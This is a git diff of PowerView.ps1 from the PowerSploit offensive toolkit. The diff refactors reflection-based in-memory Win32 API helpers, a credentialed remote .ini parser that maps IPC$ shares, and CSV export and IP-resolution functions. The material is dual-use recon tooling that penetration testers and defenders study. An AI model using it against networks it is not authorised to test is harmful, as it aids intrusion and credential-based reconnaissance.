diff options
Diffstat (limited to 'Recon/PowerView.ps1')
-rwxr-xr-x | Recon/PowerView.ps1 | 22079 |
1 files changed, 13661 insertions, 8418 deletions
diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d35a9f0..83c1ae2 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2,14 +2,14 @@ <# - PowerSploit File: PowerView.ps1 - Author: Will Schroeder (@harmj0y) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None +PowerSploit File: PowerView.ps1 +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None #> + ######################################################## # # PSReflect code for Windows API access @@ -18,53 +18,54 @@ # ######################################################## -function New-InMemoryModule -{ +function New-InMemoryModule { <# - .SYNOPSIS +.SYNOPSIS - Creates an in-memory assembly and module +Creates an in-memory assembly and module - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None - .DESCRIPTION +.DESCRIPTION - When defining custom enums, structs, and unmanaged functions, it is - necessary to associate to an assembly module. This helper function - creates an in-memory module that can be passed to the 'enum', - 'struct', and Add-Win32Type functions. +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. - .PARAMETER ModuleName +.PARAMETER ModuleName - Specifies the desired name for the in-memory assembly and module. If - ModuleName is not provided, it will default to a GUID. +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. - .EXAMPLE +.EXAMPLE - $Module = New-InMemoryModule -ModuleName Win32 +$Module = New-InMemoryModule -ModuleName Win32 #> - Param - ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( [Parameter(Position = 0)] [ValidateNotNullOrEmpty()] [String] $ModuleName = [Guid]::NewGuid().ToString() ) - $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() - ForEach ($Assembly in $LoadedAssemblies) { + foreach ($Assembly in $LoadedAssemblies) { if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { return $Assembly } } $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) - $Domain = [AppDomain]::CurrentDomain + $Domain = $AppDomain $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) @@ -74,16 +75,14 @@ function New-InMemoryModule # A helper function used to reduce typing while defining function # prototypes for Add-Win32Type. -function func -{ - Param - ( +function func { + Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $DllName, [Parameter(Position = 1, Mandatory = $True)] - [String] + [string] $FunctionName, [Parameter(Position = 2, Mandatory = $True)] @@ -102,6 +101,9 @@ function func [Runtime.InteropServices.CharSet] $Charset, + [String] + $EntryPoint, + [Switch] $SetLastError ) @@ -116,6 +118,7 @@ function func if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } if ($Charset) { $Properties['Charset'] = $Charset } if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } New-Object PSObject -Property $Properties } @@ -124,123 +127,133 @@ function func function Add-Win32Type { <# - .SYNOPSIS +.SYNOPSIS - Creates a .NET type for an unmanaged Win32 function. +Creates a .NET type for an unmanaged Win32 function. - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: func +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func - .DESCRIPTION +.DESCRIPTION - Add-Win32Type enables you to easily interact with unmanaged (i.e. - Win32 unmanaged) functions in PowerShell. After providing - Add-Win32Type with a function signature, a .NET type is created - using reflection (i.e. csc.exe is never called like with Add-Type). +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). - The 'func' helper function can be used to reduce typing when defining - multiple function definitions. +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. - .PARAMETER DllName +.PARAMETER DllName - The name of the DLL. +The name of the DLL. - .PARAMETER FunctionName +.PARAMETER FunctionName - The name of the target function. +The name of the target function. - .PARAMETER ReturnType +.PARAMETER EntryPoint - The return type of the function. +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. - .PARAMETER ParameterTypes +.PARAMETER ReturnType - The function parameters. +The return type of the function. - .PARAMETER NativeCallingConvention +.PARAMETER ParameterTypes - Specifies the native calling convention of the function. Defaults to - stdcall. +The function parameters. - .PARAMETER Charset +.PARAMETER NativeCallingConvention - If you need to explicitly call an 'A' or 'W' Win32 function, you can - specify the character set. +Specifies the native calling convention of the function. Defaults to +stdcall. - .PARAMETER SetLastError +.PARAMETER Charset - Indicates whether the callee calls the SetLastError Win32 API - function before returning from the attributed method. +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. - .PARAMETER Module +.PARAMETER SetLastError - The in-memory module that will host the functions. Use - New-InMemoryModule to define an in-memory module. +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. - .PARAMETER Namespace +.PARAMETER Module - An optional namespace to prepend to the type. Add-Win32Type defaults - to a namespace consisting only of the name of the DLL. +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. - .EXAMPLE +.PARAMETER Namespace - $Mod = New-InMemoryModule -ModuleName Win32 +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. - $FunctionDefinitions = @( - (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), - (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), - (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) - ) +.EXAMPLE - $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' - $Kernel32 = $Types['kernel32'] - $Ntdll = $Types['ntdll'] - $Ntdll::RtlGetCurrentPeb() - $ntdllbase = $Kernel32::GetModuleHandle('ntdll') - $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') +$Mod = New-InMemoryModule -ModuleName Win32 - .NOTES +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') - Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 +.NOTES - When defining multiple function prototypes, it is ideal to provide - Add-Win32Type with an array of function signatures. That way, they - are all incorporated into the same in-memory module. +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. #> [OutputType([Hashtable])] Param( - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $DllName, - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $FunctionName, - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] + [String] + $EntryPoint, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [Type] $ReturnType, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Type[]] $ParameterTypes, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CharSet] $Charset = [Runtime.InteropServices.CharSet]::Auto, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Switch] $SetLastError, - [Parameter(Mandatory = $True)] + [Parameter(Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, @@ -290,11 +303,11 @@ function Add-Win32Type # Make each ByRef parameter an Out parameter $i = 1 - ForEach($Parameter in $ParameterTypes) + foreach($Parameter in $ParameterTypes) { if ($Parameter.IsByRef) { - [void] $Method.DefineParameter($i, 'Out', $Null) + [void] $Method.DefineParameter($i, 'Out', $null) } $i++ @@ -304,14 +317,23 @@ function Add-Win32Type $SetLastErrorField = $DllImport.GetField('SetLastError') $CallingConventionField = $DllImport.GetField('CallingConvention') $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + # Equivalent to C# version of [DllImport(DllName)] $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), - [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), - [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) $Method.SetCustomAttribute($DllImportAttribute) } @@ -326,7 +348,7 @@ function Add-Win32Type $ReturnTypes = @{} - ForEach ($Key in $TypeHash.Keys) + foreach ($Key in $TypeHash.Keys) { $Type = $TypeHash[$Key].CreateType() @@ -338,90 +360,88 @@ function Add-Win32Type } -function psenum -{ +function psenum { <# - .SYNOPSIS +.SYNOPSIS - Creates an in-memory enumeration for use in your PowerShell session. +Creates an in-memory enumeration for use in your PowerShell session. - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - - .DESCRIPTION +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None - The 'psenum' function facilitates the creation of enums entirely in - memory using as close to a "C style" as PowerShell will allow. +.DESCRIPTION - .PARAMETER Module +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. - The in-memory module that will host the enum. Use - New-InMemoryModule to define an in-memory module. +.PARAMETER Module - .PARAMETER FullName +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. - The fully-qualified name of the enum. +.PARAMETER FullName - .PARAMETER Type +The fully-qualified name of the enum. - The type of each enum element. +.PARAMETER Type - .PARAMETER EnumElements +The type of each enum element. - A hashtable of enum elements. +.PARAMETER EnumElements - .PARAMETER Bitfield +A hashtable of enum elements. - Specifies that the enum should be treated as a bitfield. +.PARAMETER Bitfield - .EXAMPLE +Specifies that the enum should be treated as a bitfield. - $Mod = New-InMemoryModule -ModuleName Win32 +.EXAMPLE - $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ - UNKNOWN = 0 - NATIVE = 1 # Image doesn't require a subsystem. - WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. - WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. - OS2_CUI = 5 # Image runs in the OS/2 character subsystem. - POSIX_CUI = 7 # Image runs in the Posix character subsystem. - NATIVE_WINDOWS = 8 # Image is a native Win9x driver. - WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. - EFI_APPLICATION = 10 - EFI_BOOT_SERVICE_DRIVER = 11 - EFI_RUNTIME_DRIVER = 12 - EFI_ROM = 13 - XBOX = 14 - WINDOWS_BOOT_APPLICATION = 16 - } +$Mod = New-InMemoryModule -ModuleName Win32 - .NOTES +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} - PowerShell purists may disagree with the naming of this function but - again, this was developed in such a way so as to emulate a "C style" - definition as closely as possible. Sorry, I'm not going to name it - New-Enum. :P +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P #> [OutputType([Type])] - Param - ( - [Parameter(Position = 0, Mandatory = $True)] + Param ( + [Parameter(Position = 0, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, - [Parameter(Position = 2, Mandatory = $True)] + [Parameter(Position = 2, Mandatory=$True)] [Type] $Type, - [Parameter(Position = 3, Mandatory = $True)] + [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $EnumElements, @@ -446,10 +466,10 @@ function psenum $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) } - ForEach ($Key in $EnumElements.Keys) + foreach ($Key in $EnumElements.Keys) { # Apply the specified enum type to each element - $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) } $EnumBuilder.CreateType() @@ -458,15 +478,13 @@ function psenum # A helper function used to reduce typing while defining struct # fields. -function field -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] +function field { + Param ( + [Parameter(Position = 0, Mandatory=$True)] [UInt16] $Position, - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1, Mandatory=$True)] [Type] $Type, @@ -490,111 +508,110 @@ function field function struct { <# - .SYNOPSIS +.SYNOPSIS - Creates an in-memory struct for use in your PowerShell session. +Creates an in-memory struct for use in your PowerShell session. - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: field +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field - .DESCRIPTION +.DESCRIPTION - The 'struct' function facilitates the creation of structs entirely in - memory using as close to a "C style" as PowerShell will allow. Struct - fields are specified using a hashtable where each field of the struct - is comprosed of the order in which it should be defined, its .NET - type, and optionally, its offset and special marshaling attributes. +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. - One of the features of 'struct' is that after your struct is defined, - it will come with a built-in GetSize method as well as an explicit - converter so that you can easily cast an IntPtr to the struct without - relying upon calling SizeOf and/or PtrToStructure in the Marshal - class. +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. - .PARAMETER Module +.PARAMETER Module - The in-memory module that will host the struct. Use - New-InMemoryModule to define an in-memory module. +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. - .PARAMETER FullName +.PARAMETER FullName - The fully-qualified name of the struct. +The fully-qualified name of the struct. - .PARAMETER StructFields +.PARAMETER StructFields - A hashtable of fields. Use the 'field' helper function to ease - defining each field. +A hashtable of fields. Use the 'field' helper function to ease +defining each field. - .PARAMETER PackingSize +.PARAMETER PackingSize - Specifies the memory alignment of fields. +Specifies the memory alignment of fields. - .PARAMETER ExplicitLayout +.PARAMETER ExplicitLayout - Indicates that an explicit offset for each field will be specified. +Indicates that an explicit offset for each field will be specified. - .EXAMPLE +.EXAMPLE - $Mod = New-InMemoryModule -ModuleName Win32 +$Mod = New-InMemoryModule -ModuleName Win32 - $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ - DOS_SIGNATURE = 0x5A4D - OS2_SIGNATURE = 0x454E - OS2_SIGNATURE_LE = 0x454C - VXD_SIGNATURE = 0x454C - } +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} - $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ - e_magic = field 0 $ImageDosSignature - e_cblp = field 1 UInt16 - e_cp = field 2 UInt16 - e_crlc = field 3 UInt16 - e_cparhdr = field 4 UInt16 - e_minalloc = field 5 UInt16 - e_maxalloc = field 6 UInt16 - e_ss = field 7 UInt16 - e_sp = field 8 UInt16 - e_csum = field 9 UInt16 - e_ip = field 10 UInt16 - e_cs = field 11 UInt16 - e_lfarlc = field 12 UInt16 - e_ovno = field 13 UInt16 - e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) - e_oemid = field 15 UInt16 - e_oeminfo = field 16 UInt16 - e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) - e_lfanew = field 18 Int32 - } +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} - # Example of using an explicit layout in order to create a union. - $TestUnion = struct $Mod TestUnion @{ - field1 = field 0 UInt32 0 - field2 = field 1 IntPtr 0 - } -ExplicitLayout +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout - .NOTES +.NOTES - PowerShell purists may disagree with the naming of this function but - again, this was developed in such a way so as to emulate a "C style" - definition as closely as possible. Sorry, I'm not going to name it - New-Struct. :P +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P #> [OutputType([Type])] - Param - ( - [Parameter(Position = 1, Mandatory = $True)] + Param ( + [Parameter(Position = 1, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, - [Parameter(Position = 2, Mandatory = $True)] + [Parameter(Position = 2, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, - [Parameter(Position = 3, Mandatory = $True)] + [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $StructFields, @@ -635,13 +652,13 @@ function struct # Sort each field according to the orders specified # Unfortunately, PSv2 doesn't have the luxury of the # hashtable [Ordered] accelerator. - ForEach ($Field in $StructFields.Keys) + foreach ($Field in $StructFields.Keys) { $Index = $StructFields[$Field]['Position'] $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} } - ForEach ($Field in $Fields) + foreach ($Field in $Fields) { $FieldName = $Field['FieldName'] $FieldProp = $Field['Properties'] @@ -714,480 +731,973 @@ function struct # ######################################################## -filter Get-IniContent { +function Get-IniContent { <# - .SYNOPSIS +.SYNOPSIS + +This helper parses an .ini file into a hashtable. + +Author: 'The Scripting Guys' +Modifications: @harmj0y (-Credential support) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +.DESCRIPTION + +Parses an .ini file into a hashtable. If -Credential is supplied, +then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file +is parsed, and then the connection is destroyed with Remove-RemoteConnection. + +.PARAMETER Path + +Specifies the path to the .ini file to parse. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-IniContent C:\Windows\example.ini + +.EXAMPLE + +"C:\Windows\example.ini" | Get-IniContent + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred - This helper parses an .ini file into a proper PowerShell object. - - Author: 'The Scripting Guys' - Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +.INPUTS - .LINK +String - https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +Accepts one or more .ini paths on the pipeline. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed .ini file. + +.LINK + +https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ #> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] [CmdletBinding()] Param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] - [Alias('FullName')] - [ValidateScript({ Test-Path -Path $_ })] + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName', 'Name')] + [ValidateNotNullOrEmpty()] [String[]] - $Path + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - ForEach($TargetPath in $Path) { - $IniObject = @{} - Switch -Regex -File $TargetPath { - "^\[(.+)\]" # Section - { - $Section = $matches[1].Trim() - $IniObject[$Section] = @{} - $CommentCount = 0 + BEGIN { + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } } - "^(;.*)$" # Comment - { - $Value = $matches[1].Trim() - $CommentCount = $CommentCount + 1 - $Name = 'Comment' + $CommentCount - $IniObject[$Section][$Name] = $Value - } - "(.+?)\s*=(.*)" # Key - { - $Name, $Value = $matches[1..2] - $Name = $Name.Trim() - $Values = $Value.split(',') | ForEach-Object {$_.Trim()} - if($Values -isnot [System.Array]) {$Values = @($Values)} - $IniObject[$Section][$Name] = $Values + + if (Test-Path -Path $TargetPath) { + $IniObject = @{} + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + $IniObject[$Section] = @{} + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + $IniObject[$Section][$Name] = $Value + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object { $_.Trim() } + if ($Values -isnot [System.Array]) { $Values = @($Values) } + $IniObject[$Section][$Name] = $Values + } + } + $IniObject } } - $IniObject + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection } } -filter Export-PowerViewCSV { + +function Export-PowerViewCSV { <# - .SYNOPSIS +.SYNOPSIS + +Converts objects into a series of comma-separated (CSV) strings and saves the +strings in a CSV file in a thread-safe manner. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This helper exports an -InputObject to a .csv in a thread-safe manner +using a mutex. This is so the various multi-threaded functions in +PowerView has a thread-safe way to export output to the same file. +Uses .NET IO.FileStream/IO.StreamWriter objects for speed. + +Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 + +.PARAMETER InputObject + +Specifies the objects to export as CSV strings. + +.PARAMETER Path + +Specifies the path to the CSV output file. + +.PARAMETER Delimiter + +Specifies a delimiter to separate the property values. The default is a comma (,) + +.PARAMETER Append + +Indicates that this cmdlet adds the CSV output to the end of the specified file. +Without this parameter, Export-PowerViewCSV replaces the file contents without warning. + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" - This helper exports an -InputObject to a .csv in a thread-safe manner - using a mutex. This is so the various multi-threaded functions in - PowerView has a thread-safe way to export output to the same file. - - Based partially on Dmitry Sotnikov's Export-CSV code - at http://poshcode.org/1590 +.EXAMPLE - .LINK +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' - http://poshcode.org/1590 - http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ +.INPUTS + +PSObject + +Accepts one or more PSObjects on the pipeline. + +.LINK + +http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ #> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] Param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [System.Management.Automation.PSObject[]] $InputObject, - [Parameter(Mandatory=$True, Position=0)] + [Parameter(Mandatory = $True, Position = 1)] + [ValidateNotNullOrEmpty()] [String] + $Path, + + [Parameter(Position = 2)] [ValidateNotNullOrEmpty()] - $OutFile + [Char] + $Delimiter = ',', + + [Switch] + $Append ) - $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation + BEGIN { + $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) + $Exists = [System.IO.File]::Exists($OutputPath) + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' + $Null = $Mutex.WaitOne() - # mutex so threaded code doesn't stomp on the output file - $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; - $Null = $Mutex.WaitOne() + if ($PSBoundParameters['Append']) { + $FileMode = [System.IO.FileMode]::Append + } + else { + $FileMode = [System.IO.FileMode]::Create + $Exists = $False + } - if (Test-Path -Path $OutFile) { - # hack to skip the first line of output if the file already exists - $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $CSVWriter = New-Object System.IO.StreamWriter($CSVStream) + $CSVWriter.AutoFlush = $True } - else { - $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + + PROCESS { + ForEach ($Entry in $InputObject) { + $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation + + if (-not $Exists) { + # output the object field names as well + $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } + $Exists = $True + } + else { + # only output object field data + $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } + } + } } - $Mutex.ReleaseMutex() + END { + $Mutex.ReleaseMutex() + $CSVWriter.Dispose() + $CSVStream.Dispose() + } } -filter Get-IPAddress { +function Resolve-IPAddress { <# - .SYNOPSIS +.SYNOPSIS + +Resolves a given hostename to its associated IPv4 address. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Resolves a given hostename to its associated IPv4 address using +[Net.Dns]::GetHostEntry(). If no hostname is provided, the default +is the IP address of the localhost. + +.EXAMPLE + +Resolve-IPAddress -ComputerName SERVER + +.EXAMPLE + +@("SERVER1", "SERVER2") | Resolve-IPAddress - Resolves a given hostename to its associated IPv4 address. - If no 